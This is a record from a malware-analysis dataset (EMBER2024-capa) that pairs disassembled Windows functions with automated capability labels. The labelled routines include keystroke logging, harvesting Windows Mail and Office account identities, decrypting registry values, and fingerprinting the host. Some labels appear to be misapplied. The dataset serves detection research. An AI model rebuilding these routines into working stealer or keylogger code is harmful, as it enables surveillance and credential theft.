joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a9846
Capabilities:
Encrypt or decrypt via wincrypt
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
lea eax, [ebp - 8]
push eax
push 1
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x4a986f
xor al, al
jmp 0x4a991f
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 8]
push ebx
push ebx
push dword [eax + 4]
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_CryptDuplicateKey]
test eax, eax
je 0x4a9868
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp + 8]
push eax
push ebx
lea eax, [ebp - 0xc]
push eax
push ebx
push dword [ebp + 0x10]
xor esi, esi
push dword [ebp - 8]
mov byte [ebp + 0xf], bl
mov dword [ebp - 0xc], 3
mov dword [ebp + 8], ebx
call edi
test eax, eax
jne 0x4a9901
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.0058f8c4
pop ecx
mov esi, eax
lea eax, [ebp + 8]
push eax
push esi
lea eax, [ebp - 0xc]
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp - 8]
call edi
test eax, eax
jne 0x4a9901
lea eax, [ebp + 8]
push eax
push esi
push ebx
push 1
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x4a9901
mov eax, dword [ebp + 8]
mov byte [eax + esi], bl
mov eax, dword [ebp + 0x14]
push esi
call fcn.004b0797
mov byte [ebp + 0xf], 1
push esi
call fcn.0058f8c9
pop ecx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [ebp + 0xf]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x4a9d1c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x630
mov eax, dword [ebp + 8]
push esi
xor esi, esi
push edi
push dword [ebp + 0x10]
mov word [eax], si
mov eax, dword [ebp + 0xc]
lea edi, [ebp - 0x630]
mov dword [eax], esi
mov dword [ebp - 8], esi
call fcn.004578e7
lea eax, [ebp - 0x10]
push eax
mov eax, edi
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x4a9d62
xor al, al
jmp 0x4a9ec2
push ebx
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x428]
push eax
push esi
push esi
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x220]
push eax
push esi
push dword [ebp - 0x10]
mov ebx, 0x104
mov edi, 0x208
mov dword [ebp + 0x10], ebx
mov word [ebp - 0x428], si
mov dword [ebp - 0xc], edi
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
cmp eax, esi
mov dword [ebp - 4], 1
jne 0x4a9ebf
cmp word [ebp - 0x220], si
je 0x4a9dbc
cmp dword [ebp + 0x10], esi
je 0x4a9dbc
inc dword [ebp - 8]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x428]
push eax
push esi
push esi
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x220]
push eax
push dword [ebp - 4]
mov dword [ebp + 0x10], ebx
push dword [ebp - 0x10]
mov word [ebp - 0x428], si
mov dword [ebp - 0xc], edi
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
inc dword [ebp - 4]
cmp eax, esi
je 0x4a9dab
cmp dword [ebp - 8], esi
je 0x4a9ebf
call fcn.004a8fa9
call fcn.00591a41
cdq
idiv dword [ebp - 8]
mov dword [ebp + 0x10], ebx
mov word [ebp - 0x428], si
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x14], esi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x428]
push eax
push esi
push esi
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x220]
push eax
push edx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
cmp eax, esi
mov dword [ebp - 0x18], eax
jne 0x4a9e6c
mov edi, dword [ebp + 0x14]
mov ecx, dword [edi]
mov dword [ebp - 4], esi
jmp 0x4a9e66
lea eax, [ebp - 0x220]
call fcn.0040106a
test eax, eax
je 0x4a9e6c
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
mov ecx, dword [edi + eax*4]
cmp ecx, esi
jne 0x4a9e4e
jmp 0x4a9e83
call fcn.00591a41
cdq
idiv dword [ebp - 8]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 5
jb 0x4a9e1b
cmp dword [ebp - 0x18], esi
jne 0x4a9ebf
cmp word [ebp - 0x220], si
je 0x4a9ebf
cmp dword [ebp + 0x10], esi
je 0x4a9ebf
mov esi, dword [ebp + 8]
push ebx
lea edx, [ebp - 0x220]
call fcn.004a8ff7
lea eax, [ebp - 0x428]
push eax
call fcn.00590243
pop ecx
mov ecx, dword [ebp + 0xc]
push dword [ebp - 0x10]
mov dword [ecx], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
jmp 0x4a9ec1
xor al, al
pop ebx
pop edi
pop esi
leave
ret 0x10
Function at 0x4aabee
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push esi
push edi
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor esi, esi
xor edi, edi
cmp dword [ebp - 0x34], esi
jbe 0x4aac38
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jbe 0x4aac30
cmp dword [ebp - 0xc], 0x10000
jne 0x4aac2b
cmp dword [ebp - 0x10], edi
jbe 0x4aac2b
mov edi, dword [ebp - 0x10]
add esi, dword [ebp - 0x10]
jmp 0x4aac33
add esi, dword [ebp - 0x3c]
cmp esi, dword [ebp - 0x34]
jb 0x4aac09
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x4aad19
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
xor ebx, ebx
cmp dword [edi + 0x208], ebx
je 0x4aad31
mov al, 1
jmp 0x4aada4
push esi
push 0x104
mov edx, edi
lea esi, [ebp - 0x208]
call fcn.004a8ff7
mov esi, dword [sym.imp.KERNEL32.dll_CreateMutexW]
jmp 0x4aad69
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x4aada1
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp + 8], 0x32
jbe 0x4aada1
sub dword [ebp + 8], 0x32
lea eax, [ebp - 0x208]
push eax
push ebx
push ebx
call esi
cmp eax, ebx
mov dword [edi + 0x208], eax
je 0x4aad4c
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x4aada9
push dword [edi + 0x208]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [edi + 0x208], ebx
xor al, al
pop esi
pop ebx
leave
ret 4
mov al, 1
jmp 0x4aada3
Function at 0x4abf9a
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
and word [ebp - 0x210], 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x210]
push eax
mov dword [ebp - 8], 0x104
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp word [ebp - 0x210], 0
movzx eax, word [ebp - 0x210]
mov edx, 0x1234
mov dword [esi], edx
lea ecx, [ebp - 0x20e]
je 0x4abff2
movzx eax, ax
add edx, eax
movzx eax, word [ecx]
inc ecx
inc ecx
test ax, ax
jne 0x4abfe1
mov dword [esi], edx
and dword [esi], 0x7fffffff
lea eax, [ebp - 8]
push eax
mov dword [edi], 0x5678
call fcn.004c85b4
mov eax, dword [edi]
xor ecx, ecx
movzx edx, byte [ebp + ecx - 8]
add eax, edx
inc ecx
cmp ecx, 6
jb 0x4ac00b
mov dword [edi], eax
leave
ret
Function at 0x4b2b77
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push esi
push edi
xor ebx, ebx
push ebx
call fcn.00590318
pop ecx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
imul eax, eax, 0x201
add eax, edi
mov esi, edi
sar esi, 5
add esi, eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x20c]
push eax
mov word [ebp - 0x20c], bx
mov dword [ebp - 4], 0x104
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
xor edi, edi
xor ecx, ecx
xor edx, edx
cmp word [ebp - 0x20c], bx
je 0x4b2bf0
movzx eax, word [ebp - 0x20c]
movzx eax, ax
shl eax, cl
add ecx, 6
add edi, eax
movzx eax, word [ebp + edx*2 - 0x20a]
inc edx
cmp ax, bx
jne 0x4b2bd8
call fcn.00591a41
mov ebx, eax
shl ebx, 0x10
call fcn.00591a41
add eax, ebx
xor eax, edi
pop edi
xor eax, esi
pop esi
and eax, 0x7fffffff
pop ebx
leave
ret

Function at 0x4b2f42
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
lea ebx, [esi + 0xd]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edi, edi
cmp dword [esi + 4], edi
je 0x4b2f7a
mov al, byte [esi + 8]
test al, al
jne 0x4b2fa7
push 0x3e8
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 4], edi
push dword [esi + 9]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 4]
push eax
push edi
push esi
push 0x4b2fb4
push edi
push edi
mov byte [esi + 8], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push dword [ebp + 8]
mov dword [esi + 4], eax
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop ebx
leave
ret 4

Function at 0x4b3385
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x205c
call fcn.0059fbd0
push ebx
push esi
push edi
push 0x44
pop esi
push esi
xor ebx, ebx
lea eax, [ebp - 0x58]
push ebx
push eax
call fcn.005970f0
mov edx, dword [ebp + 0x10]
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
mov edi, dword [ebp + 8]
mov dword [ebp - 0x58], esi
push 0x1000
lea esi, [ebp - 0x2058]
mov dword [ebp - 0x2c], 1
mov word [ebp - 0x28], bx
mov dword [edi], 2
call fcn.004a8ff7
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push ebx
push ebx
push 0x10
push ebx
push ebx
push ebx
mov eax, esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4b3423
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp + 0x14]
lea edx, [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x10]
mov eax, esp
mov dword [eax], ecx
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx]
push edx
call dword [eax + 8]
mov eax, dword [eax]
push dword [ebp - 0x10]
mov dword [edi], eax
call esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x4b4134
Capabilities:
Hash data using sha1

Disassembly:
xor ecx, ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], ecx
mov word [eax + 0x5c], cx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
mov byte [eax + 0x5e], cl
mov byte [eax + 0x5f], cl
ret

Function at 0x4b433c
Capabilities:
Encode data using xor

Disassembly:
movzx ecx, word [eax + 0x5c]
cmp cx, 0x37
movzx ecx, cx
mov byte [ecx + eax + 0x1c], 0x80
jbe 0x4b4390
inc word [eax + 0x5c]
movzx ecx, word [eax + 0x5c]
cmp cx, 0x40
jae 0x4b4373
movzx ecx, cx
mov byte [ecx + eax + 0x1c], 0
inc word [eax + 0x5c]
cmp word [eax + 0x5c], 0x40
movzx ecx, word [eax + 0x5c]
jb 0x4b435c
call fcn.004b41ee
jmp 0x4b4387
movzx ecx, word [eax + 0x5c]
mov byte [ecx + eax + 0x1c], 0
inc word [eax + 0x5c]
cmp word [eax + 0x5c], 0x38
jb 0x4b437a
jmp 0x4b43b5
inc word [eax + 0x5c]
movzx ecx, word [eax + 0x5c]
cmp cx, 0x38
jae 0x4b43b5
movzx ecx, cx
mov byte [ecx + eax + 0x1c], 0
inc word [eax + 0x5c]
cmp word [eax + 0x5c], 0x38
movzx ecx, word [eax + 0x5c]
jb 0x4b439e
mov cl, byte [eax + 0x1b]
mov byte [eax + 0x54], cl
mov cl, byte [eax + 0x1a]
mov byte [eax + 0x55], cl
mov cl, byte [eax + 0x19]
mov byte [eax + 0x56], cl
mov cl, byte [eax + 0x18]
mov byte [eax + 0x57], cl
mov cl, byte [eax + 0x17]
mov byte [eax + 0x58], cl
mov cl, byte [eax + 0x16]
mov byte [eax + 0x59], cl
mov cl, byte [eax + 0x15]
mov byte [eax + 0x5a], cl
mov cl, byte [eax + 0x14]
mov byte [eax + 0x5b], cl
jmp fcn.004b41ee

Function at 0x4b9fc6
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push esi
push edi
xor edi, edi
cmp dword [0x623b30], edi
je 0x4b9fe2
mov al, 1
jmp 0x4ba0d3
lea eax, [ebp - 0x214]
push eax
push dword [ebp + 8]
lea eax, [ebp - 8]
push eax
mov dword [ebp - 8], 4
call fcn.004b8bf1
test al, al
je 0x4ba0d1
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp eax, edi
mov dword [0x623b30], eax
je 0x4ba0d1
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str._Save_36
push eax
call esi
push str._Load_4
push dword [0x623b30]
mov dword [0x623b34], eax
call esi
push str._GetImageSize_16
push dword [0x623b30]
mov dword [0x623b38], eax
call esi
push str._GetImage_20
push dword [0x623b30]
mov dword [0x623b3c], eax
call esi
push str._Close_4
push dword [0x623b30]
mov dword [0x623b40], eax
call esi
cmp dword [0x623b34], edi
mov dword [0x623b44], eax
je 0x4ba0a1
cmp dword [0x623b38], edi
je 0x4ba0a1
cmp dword [0x623b3c], edi
je 0x4ba0a1
cmp dword [0x623b40], edi
je 0x4ba0a1
cmp eax, edi
jne 0x4b9fdb
push dword [0x623b30]
mov dword [0x623b34], edi
mov dword [0x623b38], edi
mov dword [0x623b3c], edi
mov dword [0x623b40], edi
mov dword [0x623b44], edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x623b30], edi
xor al, al
pop edi
pop esi
leave
ret 4
Function at 0x4c0498
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
movzx ebx, word [ebp + 8]
push esi
push edi
push 0
push ebx
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
movzx esi, word [ebp + 8]
cmp esi, 0x25
mov dword [ebp - 4], eax
je 0x4c04f9
cmp esi, 0x27
je 0x4c04f9
cmp esi, 0x26
je 0x4c04f9
cmp esi, 0x28
je 0x4c04f9
cmp esi, 0x2d
je 0x4c04f9
cmp esi, 0x21
je 0x4c04f9
cmp esi, 0x22
je 0x4c04f9
cmp esi, 0x2e
je 0x4c04f9
cmp esi, 0x24
je 0x4c04f9
cmp esi, 0x23
je 0x4c04f9
cmp esi, 0x5b
je 0x4c04f9
cmp esi, 0x5c
je 0x4c04f9
cmp esi, 0x5d
jne 0x4c0500
or dword [ebp - 4], 0x100
and word [ebp - 0x20c], 0
mov edi, 0x104
push edi
lea eax, [ebp - 0x20c]
push eax
movzx eax, word [ebp - 4]
shl eax, 0x10
or eax, ebx
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
cmp word [ebp - 0x20c], 0
jne 0x4c0545
cmp esi, 0x13
jne 0x4c0545
push edi
mov edx, 0x5ee6ac
lea esi, [ebp - 0x20c]
call fcn.004a8ff7
test dword [ebp + 8], 0x40000
mov eax, 0x5b07d8
je 0x4c055e
cmp dword [ebp - 4], 0x2a
mov edx, str.Shift
jne 0x4c0560
mov edx, eax
test dword [ebp + 8], 0x10000
je 0x4c0574
cmp dword [ebp - 4], 0x38
mov ecx, str.Alt
jne 0x4c0576
mov ecx, eax
test dword [ebp + 8], 0x20000
je 0x4c058a
cmp dword [ebp - 4], 0x1d
je 0x4c058a
mov eax, str.Ctrl
lea esi, [ebp - 0x20c]
push esi
push edx
push ecx
push eax
mov esi, edi
mov edi, dword [ebp + 0xc]
push str._s_s_s_s
call fcn.004a9039
add esp, 0x14
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4c66c7
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x844
push ebx
push esi
push edi
push 0x5b07d8
push str.Default_Mail_Account
push str.softwaremicrosoftiam
push SysReAllocString
lea eax, [ebp - 0x228]
call fcn.00401132
test al, al
jne 0x4c66ff
xor al, al
pop edi
pop esi
pop ebx
leave
ret 8
xor eax, eax
cmp word [ebp - 0x228], ax
je 0x4c66f6
lea ecx, [ebp - 0x430]
push ecx
push eax
push eax
push 0x1c
push eax
mov word [ebp - 0x430], ax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x430]
push eax
mov ebx, 0x104
push str._s_microsoft_windows_mail_local_folders__s
mov esi, ebx
lea edi, [ebp - 0x638]
call fcn.004a9039
add esp, 0xc
lea eax, [ebp - 0x638]
push eax
xor edi, edi
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x840]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x13], edi
mov dword [ebp - 0xf], edi
mov byte [ebp - 0x14], 1
mov dword [ebp - 0xb], edi
mov dword [ebp - 7], edi
call fcn.00454ce8
push str.MessageAccount
lea eax, [ebp - 0x18]
call fcn.004b3fbb
cmp eax, edi
mov dword [ebp - 0x1c], eax
jne 0x4c6797
lea ecx, [ebp - 0x18]
call fcn.00454a93
jmp 0x4c66f6
push 0x5ef030
call fcn.004b3ffd
cmp eax, edi
je 0x4c678a
push ebx
mov ecx, eax
call fcn.004b3fa0
mov esi, dword [ebp + 8]
mov edx, eax
call fcn.004a8ff7
mov eax, dword [ebp - 0x1c]
push 0x5ef048
call fcn.004b3ffd
cmp eax, edi
jne 0x4c67d9
xor bl, bl
lea ecx, [ebp - 0x18]
call fcn.00454a93
mov al, bl
jmp 0x4c66f8
push ebx
mov ecx, eax
call fcn.004b3fa0
mov esi, dword [ebp + 0xc]
mov edx, eax
call fcn.004a8ff7
mov bl, 1
jmp 0x4c67ca

Function at 0x4c686d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 8]
push eax
push 1
push 0
push dword [ebp + 8]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4c68d2
push ebx
lea eax, [ebp - 4]
push eax
push esi
push 0
push 0
push dword [ebp + 0xc]
mov dword [ebp - 4], 0x208
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp + 8]
mov ebx, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
pop ebx
jne 0x4c68d2
mov eax, dword [ebp - 4]
shr eax, 1
cmp eax, 0x104
jb 0x4c68c9
mov eax, 0x103
and word [esi + eax*2], 0
mov al, 1
jmp 0x4c68eb
mov eax, 0x5b07d8
mov edx, esi
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x4c68db
xor al, al
leave
ret 8
Function at 0x4c6dc4
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push dword [esp + 8]
push dword [esp + 8]
call fcn.004c68ef
test al, al
je 0x4c6dda
mov al, 1
ret 8
jmp fcn.004c6b86
Function at 0x4c6ddf
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0xe58
push ebx
xor ebx, ebx
mov word [eax], bx
lea eax, [ebp - 4]
push eax
push 8
push ebx
push str.SoftwareMicrosoftOffice
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x4c6e13
xor al, al
jmp 0x4c6fe8
push esi
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x430]
push eax
push ebx
push dword [ebp - 4]
mov esi, 0x104
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x18], esi
mov dword [ebp - 8], ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x4c6fd6
push edi
inc dword [ebp - 0xc]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x430]
push str._d.0
push eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], ebx
call fcn.0058f93c
add esp, 0xc
cmp eax, 1
jne 0x4c6fb2
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x1c], eax
jle 0x4c6fb2
lea eax, [ebp - 0x430]
push eax
push str._sCommonIdentityProfiles
lea edi, [ebp - 0x840]
call fcn.004a9039
pop ecx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 8
push ebx
mov eax, edi
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4c6fb2
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x638]
push eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x20], esi
push ebx
jmp 0x4c6f73
inc dword [ebp - 0x14]
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x430]
push eax
push str._sCommonIdentityIdentities_s
lea edi, [ebp - 0x228]
mov dword [ebp - 0x20], esi
call fcn.004a9039
add esp, 0xc
mov edi, 0x5b07d8
push edi
push str.ProfileUrl
lea eax, [ebp - 0x228]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0xc50]
call fcn.00401132
push edi
push str.ProviderId
lea eax, [ebp - 0x228]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0xa48]
call fcn.00401132
push edi
push str.SigninName
lea eax, [ebp - 0x228]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0xe58]
call fcn.00401132
cmp word [ebp - 0xc50], bx
je 0x4c6f61
cmp word [ebp - 0xa48], bx
je 0x4c6f61
cmp word [ebp - 0xe58], bx
jne 0x4c6f86
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x638]
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x4c6ec9
jmp 0x4c6fa4
push edi
push str.EmailAddress
lea eax, [ebp - 0x228]
push eax
push dword [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.00401132
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], eax
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 8], ebx
jg 0x4c6fd5
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x430]
push eax
push dword [ebp - 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x4c6e44
pop edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp dword [ebp - 8], ebx
pop esi
setg al
pop ebx
leave
ret 4
Function at 0x4c85b4
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor eax, eax
mov edi, ebx
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor edi, edi
lea eax, [ebp + 8]
push eax
push edi
push edi
push edi
push 2
mov dword [ebp + 8], edi
call sub.iphlpapi.dll_GetAdaptersAddresses
mov esi, dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
lea eax, [ebp + 8]
push eax
push esi
push edi
push edi
push 2
call sub.iphlpapi.dll_GetAdaptersAddresses
push 6
pop eax
cmp dword [esi + 0x34], eax
jbe 0x4c8609
mov dword [esi + 0x34], eax
xor eax, eax
cmp dword [esi + 0x34], edi
jbe 0x4c861d
mov cl, byte [esi + eax + 0x2c]
mov byte [eax + ebx], cl
inc eax
cmp eax, dword [esi + 0x34]
jb 0x4c8610
push esi
push edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 4

Function at 0x4c8631
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
lea esi, [ebp - 1]
call fcn.00447312
lea eax, [ebp - 8]
push eax
push 0x5b665c
push 1
xor ebx, ebx
push ebx
push 0x5b664c
mov dword [ebp - 8], ebx
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [ebp - 8]
cmp eax, ebx
je 0x4c86b5
lea edx, [ebp - 0xc]
push edx
mov dword [ebp - 0xc], ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x34]
test eax, eax
mov eax, dword [ebp - 8]
je 0x4c8691
cmp eax, ebx
je 0x4c8682
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp byte [ebp - 1], bl
je 0x4c868d
call dword [sym.imp.ole32.dll_CoUninitialize]
xor al, al
jmp 0x4c86dd
test word [ebp - 0xc], 0x440
setne byte [ebp - 2]
cmp eax, ebx
je 0x4c86a5
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp byte [ebp - 1], bl
je 0x4c86b0
call dword [sym.imp.ole32.dll_CoUninitialize]
mov al, byte [ebp - 2]
jmp 0x4c86dd
cmp byte [ebp - 1], bl
je 0x4c86c0
call dword [sym.imp.ole32.dll_CoUninitialize]
push ebx
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x10], ebx
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x4c868d
mov eax, dword [ebp - 0x10]
shr eax, 5
not eax
and eax, 1
pop esi
pop ebx
leave
ret